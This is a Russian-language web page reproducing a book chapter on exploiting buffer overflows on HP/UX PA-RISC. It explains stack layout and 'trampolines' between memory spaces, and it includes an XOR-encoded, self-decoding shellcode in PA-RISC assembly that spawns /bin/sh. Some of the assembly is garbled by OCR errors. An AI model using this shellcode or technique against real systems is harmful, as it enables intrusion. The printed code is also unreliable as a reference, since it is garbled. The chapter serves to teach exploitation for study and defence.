На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Переполнение буфера на платформе HP/UX PA-RISC

Значения автоматически созданных переменных хранятся в стеке. В отличие от архитектуры Wintel, локальные буферы наследуются из сохраненных адресов возврата функций. Предположим, функция 1 вызывает функцию 2. Первым действием функции 2 является сохранение адреса возврата в функцию 1. Этот адрес сохраняется в конце стекового фрейма функции 1. Затем выделяются области памяти для локальных буферов. После того как локальные буферы были использованы, они наследуются из предыдущего стекового фрейма. Поэтому невозможно использовать локальный буфер текущей функции для атаки на переполнение буфера и затирания адреса указателя возврата из функции. Чтобы воздействовать на указатель возврата из функции, необходимо организовать переполнение буфера для значения локальной переменной, который был выделен в стековом фрейме предыдущей функции (20).
Операции ветвления на платформе PA-RISC
Платформа HP/UX является намного более сложной платформой для проведения атак на переполнение буфера. Рассмотрим, как работают операции ветвления. Память на платформе РА-RISC разделяется на сегменты, которые называются областями (space). Существует два вида команд перехода: локальные и внешние. В основном используются локальные переходы. Единственным случаем использования внешних команд перехода является вызов функций из общедоступных библиотек наподобие libc.
Поскольку наш стек хранится в области памяти, которая отличается от области хранения нашего кода, то очевидно, что придется использовать внешний переход. В противном случае будет вызываться исключение SIGSEGV при каждой попытке выполнить наши команды в стеке.
В области памяти для нашей программы можно найти заглушки (stub), которые управляют вызовами между программой и совместно используемыми библиотеками. Внутри этих заглушек содержатся команды внешнего перехода (be), как, например, показано ниже.
0x7af42400 <strcpy+8>: ldw -18(srC,sp),rp 0x7af42404 <strcpy+12>: ldsid (srC,rp),rl 0x7af42408 <strcpy+16>: mtsp rl,srC 0x7af4240c <strcpy+20>: be,n C(srC,rp)
Как видим, адрес указателя возврата функции берется из стека со смещением -18. Затем мы видим операцию внешнего перехода (be, n). Это именно тот переход, с помощью которого можно провести атаку. Для этого нужно исказить содержимое стека в этой точке. В данном случае просто находим внешний переход и проводим непосредственную атаку. Для этой цели в нашем примере используется функция strcpy из библиотеки libc.
Очень часто при атаках используются только локальные переходы (bv), но иногда вполне уместно использование "трамплинов" и внешних переходов во избежание исключений SIGSGEV.
"Трамплины" между областями памяти
ЕСЛИ есть возможность использовать переполнение буфера только для искажения значения указателя возврата для локального перехода (bv), то нужно найти внешний переход для возврата. Для этого используется очень простой прием. Следует найти внешний переход где-то в области памяти для текущего кода. Не забывайте, что используется команда bv, а поэтому нельзя взять адрес возврата, указывающий на другую область памяти. Как только будет обнаружена команда be, можно использовать переполнение буфера для команды bv и затереть адресом возврата к команде be оригинальный адрес возврата. Затем команда be использует другой указатель возврата из стека, в данном случае к нашей области стека. При использовании подобного "трамплина" в векторе вторжения можно записать два различных адреса возврата, каждый для своего перехода (21).
Рис. 721. "Трамплины"между областями памяти. Идея заключается в том, чтобы "оттолкнуться" от второго указателя с целью обойти правила защиты памяти
Информация о положении в памяти
Операции ветвления (условного перехода) на платформе РА-RISC могут быть внешними или локальными. Локальные переходы ограничены текущей областью памяти. В регистре gr2 записывается адрес возврата (также называемый гр) вызова процедуры. В документации по РА-RISC это называется связкой (linkage). Воспользовавшись командами перехода и связи (Ь, 1), можно записать в регистр текущее значение указателя команд15. Например:
Ь,1 . + 4, %г2б
Чтобы проверить нашу программу, воспользуемся программой GDB для отладки и пошагового прогона кода. Для запуска GDB просто введите ее название вместе с именем исполняемого двоичного файла. gdb a.out
Исполнение кода начинается с адреса 0x3230 (в действительности с0х3190, но осуществляется переход к 0x3230), поэтому именно на этом адресе мы устанавливаем первую точку останова.
(gdb) break *0x00003230 Breakpoint I at 0x323 0
Затем запускаем программу.
(gdb) run
Starting program: /home/hoglund/a.out
(no debugging symbols found)...(no debugging symbols found).. . Breakpoint 1, 0x00003230 in main () (gdb) disas
Dump of assembler code for function main: 0x3230 <main>: b,l 0x3234 <main+4>,r26
Мы достигли точки останова. Вы видите, что в результате выполнения команды disas обнаружены команды Ь, 1. Запускаем команду stepi для перехода вперед на одну команду, после чего исследуем содержимое регистра 26. Как видим, в регистр 26 (г26) занесено значение 0x32ЗВ — адрес, непосредственно следующий за нашей текущей позицией. Таким образом мы смогли обнаружить и сохранить адрес нашей текущей позиции в памяти.

Саморасшифровывающаяся полезная нагрузка для платформы HP/UX
В нашем последнем примере для платформы HP/UX РА-RISC мы рассмотрим саморасшифровывающуюся полезную нагрузку. На самом деле в нашем примере используется элементарное кодирование XOR, которое даже нельзя назвать шифрованием, а только кодированием. Однако вовсе несложно самостоятельно добавить настоящий криптографический алгоритм или усложнить код XOR. На 22 схематически изображена базовая концепция подобного кодирования. Для использования этого примера на практике нужно удалить команду пор и заменить ее командой, в которой нет символов NULL Преимущество кодирования полезной нагрузки состоит в том, что на создание кода никак не влияет наличие символов NULL. Кроме того, можно скрыть свою полезную нагрузку, чтобы никто не воспользовался вашими разработками и не "забросил" вашу полезную нагрузку непосредственно в IDA-Pro.

Переполнение буфера
313
пор
.SUBSPA $DATA$ .EXPORT shellcode
Ы .+4, %r26
xor %r25, %r25, %г25
хог %г23, %г23, %г23
хог %г24, %г24, %г24
addi,< 0x2D, %r26, %г26
addi,< 7*4+8, %г23, %г23
addi,< 0x69, %г24, %г24
инициализация в нуль
ldo Idbs xor
stbs ldo
cmpb,<,N nop
l(%r25), %r25 0(%r26), %r24 %r24, %г23, %г24
%г24, 0(%г26) 1(%г26), %г26
%r25,%r23,start
; вычисление no XOR shell-кода : длина закодированного по
хог блока кода и данных : байт для операции XOR
с блоком
увеличение цикла ctr загрузка байта в г24 операция хог для байта и константы в г23 сохранение обратно увеличение байта ptr проверка завершения цикла
Здесь начинается код, закодированный с помощью операции XOR ;Ы .+4, %г26
;хог %г25, %г25, %г25 ;addi,< 0x11, %г26, %г26
;stbs %г0, 7(%г26) ; вставка байта NULL после строки ;ldil L%0xC0000004, %rl
;Ые R%0xC0000004 ( %sr7, %rl ) ;делаем системный вызов ;addi,> 0x0В, %r0, %r22 ;SHELL
;.STRING "/bin/shA" .STRING "\xCF\x7B\x3B\xD9" .STRING "\x2F\xlD\x26\xBD" .STRING "\x93\x7E\x64\x06" .STRING "\x2B\x64\x36\x2A" .STRING "\x04\x04\x2C\x25" .STRING "\xC0\x04\xC4\x2C" .STRING "\x90\x32\x54\x32"
.STRING "\x0B\x4 6\x4D\x4A\x0B\x57\x4C\x65"
Декодированная часть полезной нагрузки представляет собой широко используемый код командного интерпретатора, который запускает /bin/sh.
ы
хог
.+4, %г26 %г25, %г25.
%г25
addi,< 0x11, %г26, %г26
stbs %г0, 7 (%r26) ; paste a NULL byte after string ldil L%0xC0000004, %rl
ble R%OxC0000004( %sr7, %rl ) ;make syscall addi,> OxOB, %r0, %r22 .STRING "/bin/shA"

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика